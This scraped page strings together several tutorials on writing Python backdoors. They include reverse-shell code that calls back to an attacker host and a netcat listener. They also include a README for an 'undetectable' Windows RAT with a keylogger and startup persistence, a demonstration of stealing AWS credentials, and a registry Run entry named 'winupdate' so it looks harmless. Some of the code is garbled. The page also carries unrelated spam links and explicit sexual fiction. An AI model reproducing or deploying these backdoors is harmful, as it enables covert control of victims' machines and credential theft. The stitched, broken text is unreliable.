How to make a backdoor in python

How to make a backdoor in python DEFAULT

So we’ve delved into Python before, but this post should be a bit more interesting. What we will do today is write a backdoor in Python and if you manage to install this backdoor on anyone’s computer, you will have a shell to that computer from your own.

As always, these posts are for educational purposes and you should not try this on anyone’s devices but your own.

Firstly you will need Python installed on your machine, happily this is already installed on most Linux distros, but for Windows you will need to download and install it from here.

Open a shell and use your favorite text editor to create a new file called


Cool, now let’s get coding shall we?

First it’s shebang and imports.

#! /usr/bin/python import subprocess import socket

So we are importing libraries here, the first one, subprocess is going to allow us to  execute a process from within our Python script, and this is how we will be able to process commands.

Next we have the socket library, this helps us to work with and manipulate socket data. This is how devices communicate over the internet, through sockets.

Next we need to make some variables.

So we need a host, our attacking machine (this is the IP we want our reverse shell to go to), the port we want to listen on and a password that will be used to protect the backdoor. So only you will be able to use this program.

host = "" port = 443 passwd = whateveryouwant

Keep that password, because that’s what will get you access in the future.

Next we need some methods, first of all the login method. This is going to check any user that connects to the backdoor and see if the password they use is valid or not. If they use a bad password it will give the user a redirect back to the login.

If the password is valid we get a command prompt and call a shell method, are you following along so far? 😉

def login():        global s        s.send("login: ")        pwd = s.recv(1024)        if pwd.strip() !=passwd:              Login()         else:               s.send("Connected #> ")               Shell()

Perfect. The (s) we used was a global variable and we will be using that later in the code so that we can access our sockets from anywhere in the application.

Also, we used if pwd.strip() which will strip any white spaces from what the user types.

So let’s code the shell method, this will tell the rest of the code what to do once the correct password is provided. What we want is to run the code for infinity so we can login at any time.

So we grab any data that’s typed and store into a variable called data and we will call this through the code.

We will also use a KILL option in case we want to stop the program at any time in the future.

We will then run a subprocess, a program within a program, yup, let’s do it. Our data variable is going to be the variable that connects us back to the socket we created earlier.

def Shell():        while True:                          data = s.recv(1024)                           if data.strip() == ' :kill':                                 break                          proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin-subprocess.PIPE)                          output = +                          s.send(output)                          s.send(" #> ")

Wonderful!! Isn’t coding magnificent? 😀

Now we need to code our connection back to our attacking machine. Here we will use the (s) variable again.

s  = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) Login()

Well done, you just coded a backdoor only you can connect to 😉 We hope you managed to get a connection from your different virtual machines with this backdoor.

So let’s test it, once you have the backdoor installed on your device, let’s connect to it via our Kali machine. We need a listening tool to listen for any incoming connections.

So we can use netcat that is pre-installed on Kali. Let’s listen on port 443 as our code has instructed.

nc -lvp 443


Next we just need to execute the Python script on the victim machine, so let’s do that.


That will run the backdoor secretly in the background. So let’s see the results on our attack computer.


There we go, we have a connection, enter your super secret creds that you used earlier and you have full control of the server/machine/IOT device.

We have posted earlier how you might infect another device here.

Thanks for reading, please subscribe if you liked the content and be sure to come back for more tutorials in the future 👍👍👍👍

Also comment if you found this post useful.

QuBits 2019-09-28


Like this:




Python Backdoor

This project is a non-object oriented open source, hidden and undetectable backdoor/reverse shell/RAT for Windows made in Python 3 which contains many features such as multi-client support and cross-platform server.



You will need:

  • Python 3.6+ (Make sure to add python to PATH during installation)
  • A Windows computer
  1. Download the repository via github or git eg.
  2. Install the required modules by running


Currently this program has several features such as:

  • Multi-client support
  • Cross-platform server
  • AES-128 Encryption
  • Built-in keylogger
  • Ability to send commands to all clients
  • Ability to capture screenshots
  • Ability to upload/download files
  • Ability to send messages
  • Ability to run at startup
  • Ability to browse files
  • Ability to dump user info
  • Ability to open remote cmd
  • Ability to open remote python interpreter
  • Ability to disable task manager
  • Ability to shutdown/restart/lock pc
  • Ability to melt file on startup
  • Checking for multiple instances
  • VM/sandboxie check
  • And more...

Quick Usage

  1. Run and follow the instructions on screen to build the client to .exe.
  2. Check the folder for the .exe.
  3. Disable your firewall on the server or configure your firewall to allow port 3000.
  4. Run the to start the server and accept connections.

If you plan on using the program outside of your network, you must port forward port 3000.

For more information on doing everything manually please refer to the instructable.


If you need any help at all, feel free to open a "help" issue.


Contributing is encouraged and will help make this a better program. Please refer to this before contributing.


This program is for educational purposes only! I take no responsibility or liability for own personal use.



  1. Portable fm stereo radio
  2. Craigslist atv inland empire
  3. Taurus 9mm
  4. Size 10 claddagh ring
  5. Uber nj to nyc

How To Build a Simple Backdoor in Python

When it comes to Information Security, even the tiniest looking program could be a time bomb waiting to receive commands from an attacker to initiate a deadly attack on your system. The program could turn out to be a simplebackdoor that initiates a connection to the attackers network waiting to receive commands and also to be able to steal information.


In one sentence, a backdoor is a piece of software that gives someone remote access to a computer, usually without the right permission when installed on the computer. The main purpose of a backdoor is to send and receive data, mostly commands, through a network system to and fro.


The attacker installs an innocent-seeming malicious program that could be a simple software or game. Once the user opens the program, the backdoor code hidden in the program could initiate a connection remotely to the attackers network and run any given commands. 


It could also daemonize itself and run in the background process, so it doesn’t need you to open the program anymore to initiate a connection.


No matter how security conscious the user is, if someone can trick the user in opening the wrong program, they get to compromise and gain access to the user system remotely.


In this article, we’ll be building a simple backdoor program in Python and show how we can use it to exploit the user system.


Note: This is for educational purposes only, do not use against any person for illegal operations.


Getting Started

To get started, you need to have Python installed and running on your computer. Python is a good choice in this project as it is a high-level powerful programming language, and yes, it is easy and fast to implement as well as supported on all operating systems cross platforms.


If you don’t have Python installed, you can read thisarticle on how to install and set it up on your system.


When building a backdoor, there are two components needed:


  1. Client: These are the components that will be installed on the victim computer, initiates a connection to the attackers network, accepts commands and sends data to and fro.
  2. Server: This is the component that will be installed on the attacker system acting as the entry point listening to the client connection, accepting the connection if it’s from the victim, sending commands and receiving data.


To make this work, we’ll be using theSocket module that comes built-in Python. The socket module is used to send data/messages to and fro over a network. In this case, the server will be sending commands (messages), the client receives a message (commands), sends a reply (data) and vice versa.


So we are going to be building two components: and 



Let’s see how to build the first component which is the Client component.


Build the Client Component

As explained earlier, the client component is responsible for initiating the connection, then waiting for commands from the attacker’s network, running the command and sending back a reply usually output of the command run.


Open the



Looking at the above code:


  1. We imported the modules we’ll be using – socket module (initiating our network connection) and subprocess (for running commands in shell)
  2. Declared the attackers (our) remote REMOTE_HOST and REMOTE_PORT. You should update the REMOTE_HOST with your IP or localhost – You can get your IPhere.
  3. Created the socket connection for client and connected it to our REMOTE server
  4. Then we added a while loop, that keeps listening and waiting for messages or commands
  5. We extracted the message from .recv(1024), decoded it to a string and passed it to the subprocess program responsible for running the command.
  6. After running the command, we check for both output and error, then send both along over the network.


To run this:




Voila! Our client component is ready.


Building the Server Component

The server component is responsible for listening for any incoming connection from the client’s component, accepting the connection, sending messages (commands) and receiving data.


Open the



Looking at the above code:


  1. We imported the socket module (for listening and accepting network connection) 
  2. Declared our HOST and PORT. You should update the HOST with your IP or localhost – You can get your IPhere.
  3. Created the socket connection, listening to incoming connection and accepting, if any (when the user runs the program).
  4. We created a while loop to maintain connection between the client and server components.
  5. From here we can then ask the attacker to enter a command, send the command and get a response sent by the client component.


To run this:




Voila! Our server component is also ready.


Testing Our Backdoor Program

Once you have successfully created the two components, we now have a simple backdoor software written with Python. 


To test this, you will need to run the two components simultaneously and connected to the same HOST and PORT.


Open two terminals or command line and then run each command on each terminal.


Server: python

Client: python



If you see outputs like the one in the image above, then both the server and client are connected and waiting to send and receive messages.


The server is ready to send commands while the client is ready to receive commands, run it and send back its output.

Now let’s enter this command in the server terminal: echo Hello World:



You should see something like the above image. We sent the command echo Hello World which means it should print out Hello World in the terminal. The client receives this command, runs it and sends back a response that is the output of the command.

Let’s try another like: ls -a ~, cat ~/.aws/config



Whoops! You can literally steal the user’s AWS access_key and access_id without their knowledge. Not only that, you can also run dangerous and do all sorts of things with this simple backdoor program.


With this, we can conclude that we have compromised the user computer and are able to gain access to the user computer and steal data.


Protecting Yourself Against Backdoor Attacks

These types of programs are very hard to detect and protect against as they are hidden away from plain sight and control. 


There have been a lot of news on how people have been discovering backdoors in different programs for user programs, open source projects and even large software organizations. Backdoors are able to be injected in any kind of programs regardless of the operating system used on.


Backdoors are heavily built on the networking system to initiate remote connection to the attacker as we have seen in the program we built earlier. Most operating systems have firewalls monitoring any unusual and suspicious traffic to and fro. However, sometimes firewalls fail to detect the backdoor due to how backdoors send their network traffic just like how browsers or other apps would connect to the internet. 


To prevent this, you can create policies in your firewall and choose which programs you would like to have access to the internet and any other traffic is blocked. For companies, they can create policies and selectively decide which device and application has access to the internet. 


This reduces the chance of having a software you barely use serving as a backdoor gateway to steal your data.


Also the best way to protect yourself is to not trust any software, as most software is injected with backdoor code without the knowledge of the developers. Some of these applications are injected by some of the packages and dependencies used in building the application. 


These dependencies could be open source and already have a backdoor in it. So any software using the dependencies in their software already has a backdoor in their program without them knowing.


So have zero-trust for any software.



In this article, we have explained what a backdoor is, how innocent-looking and dangerous it could be and how to build one. These kinds of programs are a big threat because it’s hard to detect them as they’re hidden in a simple program and can look like normal software. Most backdoor programs are bundled as .dll in Windows, or binary or packaged in Python GUI frameworks like Kivy.


Don’t use this to gain unwanted access to any computer without permission because it is illegal. Do not use this program for any illegal reasons even though it’s in its simplest form.



Introduction: Simple Python Backdoor

So after almost a year since instructable on my Simple Netcat Backdoor, I was inspired to create a similar but more feature-filled version using the Python programming language simply because its a fairly simple language compared to others. So if you don't know what a backdoor is, its basically a way that allows you to connect to and control someone's computer. This one has many advantages over the netcat one, such as a much simpler install, usage and very easy to use outside of your network. I even included a remote cmd, so you can run any commands as before with this one. Also since the server is now cross-platform, you can now accept connections on a Linux server.

Anyway you can download the latest version here (the only files you will need are the server and client).

NOTE: This program is still a little bit in work in progress, I plan hopefully in the future to include a few more features. This project is also available on the github page.

Step 1: Installing Prerequisites...

So since this program is made in Python 3, you go ahead and download the latest version from here. But you will also need a few modules.

So to install them, you can simply run python -m pip install -r requirements.txt in a command prompt. The "requirements.txt" is the file in the main directory that contains all of the modules needed.

Step 2: Setup...

So to configure the client, open up src/ with IDLE or any other editor and you should see the code above as in pic 1.

Anyway, the first thing you need to do is configure to IP address to connect to, so set strHost to be your IP in which the client should connect to such as in pic 2. Or if you plan to use the program with a dns such as from no-ip, which allows you to use the program outside your network, remove the "#" on the line below and fill in your hostname in between the quotes. eg.

NOTE: If you plan on using the program outside of your network, you must port forward port 3000. Or if you are using a server though such as one from DigitalOcean, no port forwarding is required :).

Step 3: Build to .exe

In order to allow anyone without python and modules to run the file, you must build the file to an .exe. So to build open up a command prompt and run the following code:

pyinstaller --exclude-module FixTk --exclude-module tcl --exclude-module tk --exclude-module _tkinter --exclude-module tkinter --exclude-module Tkinter --onefile --windowed

What this does is exclude the unused tkinter module to save on file size and then creates a single executable.

NOTE: You can add your own icon by adding --icon="icon path"

Step 4: Usage...

Before you can run the server, you must disable your firewall or allow port 3000 in order to accept upcoming connections. After that you can run the server to listen for connections.

Once you get a connection, you can type "--help", and you should get a prompt as in pic 1. Next you can interact with the user by typing "--i client id".

Next, you should see a menu appear as in pic 2, and now you can run any command you want such as "--m" to send a message, "--e" to open remote cmd, etc. You can also use "--b" so you can move the connection to the background and interact with another computer.

As I said, you can do anything you originally did with the netcat backdoor only more.

NOTE: Its always best to do a graceful shutdown by running "--x" in the main menu instead of closing the window.

Step 5: Uninstalling...

If you ever added this program to the startup and want to remove it, simply open up the registry and navigate to "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run". Then delete the value called "winupdate". I gave it a non-suspicious name so that it won't get deleted by accident ;).

Step 6: Explanation...

So I could spend pages writing on how I made every feature, but instead I will explain generally how this entire program works.

So the program works by first having a server listening on a port for upcoming connections from the client, in this case I chose port 3000. Next the client connects to the server using that port and then waits for the server to send it commands. In my case the commands are just simple strings of text such as "dtaskmgr" which basically tells the client to disable task manager. Its very simple actually. The server never communicates directly with the clients PC, instead it communicates with the client which then runs the commands specified.

One more thing about sending data over a socket, is that the data must be sent as bytes which means you will see the server and the client constantly decoding the messages to standard text.

Anyway, that's pretty much all that comes into making backdoor, you will notice I lightly commented out the code, so if you know a little python, it should be a little easy to understand.

Step 7: Done!

Have fun with this program! It can especially be helpful for helping in friends/relatives who do not live closely.

I hope you found this instructable useful and if you have any questions, or concerns please leave a comment or pm me.

Also if you find any bugs in this program, or feel as a feature is missing or would be useful to include, please report it to me.

Please use this program responsibly and legally, I am not responsible for anything you do.

Be the First to Share

Did you make this project? Share it with us!


  • Plastic Challenge

    Plastic Challenge
  • Tinkercad Student Design Contest

    Tinkercad Student Design Contest
  • Micro:bit Contest

    Micro:bit Contest

To make in python how a backdoor

Only in this way, you can feel like a queen of the ball. In all other positions, I am a gentle, fragile creature, surrendering to the lust of a male. No, I have no regrets.

How Hackers Create Fully Undetectable Backdoors!

When both of them had already warmed up a little, Uncle Semyon pressed on Zhenya's narrow shoulders and he realized what they wanted from him. He knelt down and, sticking out his ass, pulled down his panties. Taking his hand for his penis, he began to slowly and slowly rub it, rotating his palms. Then he approached, clasped the head with his brightly painted lips and began to lick and suck it, without stopping working.

With his hands.

You will also like:

The wave swept over me. Maxim, too, could hardly restrain himself. He pulled the cock out of my ass, pulled it by the hair and shoved it into his mouth.

15 16 17 18 19